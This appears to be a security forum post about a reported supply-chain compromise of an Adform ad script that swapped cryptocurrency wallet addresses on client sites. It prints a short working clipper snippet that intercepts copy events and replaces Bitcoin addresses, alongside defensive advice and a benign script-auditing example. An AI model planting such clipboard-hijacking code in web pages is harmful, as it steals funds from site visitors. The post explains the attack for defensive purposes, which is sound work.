Adform Supply Chain Breach: Detecting JS-based Crypto Address Swapping

Just saw the report on the Adform incident where attackers poisoned a JavaScript file to swap crypto wallet addresses on client sites. This is a textbook supply chain attack leveraging the ubiquity of ad tech.

Since Adform detected it on July 27, 2026, the immediate threat is contained, but the vector remains a major concern. No CVE has been assigned yet because this was a compromise of their infrastructure rather than a specific software vulnerability, but the impact is significant.

The attackers essentially turned the ad script into a clipper malware. It likely monitored the DOM or clipboard events to overwrite Bitcoin addresses. Here is a simplified example of what that malicious payload looks like:

// Malicious payload logic
document.addEventListener('copy', (event) => {
    const selection = window.getSelection().toString();
    // Checks for standard BTC address format
    const btcRegex = /\b[13][a-km-zA-HJ-NP-Z1-9]{25,34}\b/;
    if (btcRegex.test(selection)) {
        event.preventDefault();
        event.clipboardData.setData('text/plain', 'ATTACKER_CONTROLLED_ADDRESS');
    }
});


**Mitigation & Detection:**

Standard Subresource Integrity (SRI) is difficult here because ad scripts are dynamic and change frequently. However, you can implement stricter CSP policies to limit where scripts can connect to.

For detection, you can scan your site's external dependencies. Here is a quick Python script to identify potential third-party risks:

import requests
from bs4 import BeautifulSoup

def audit_scripts(url):
    response = requests.get(url)
    soup = BeautifulSoup(response.text, 'html.parser')
    for script in soup.find_all('script', src=True):
        src = script['src']
        if 'adform' in src or 'doubleclick' in src:
            print(f"[!] Third-party Ad Script found: {src}")

audit_scripts('https://your-site.com')


Is anyone actually successfully implementing SRI for dynamic adtech, or are we all just accepting the risk of supply chain compromise in exchange for revenue?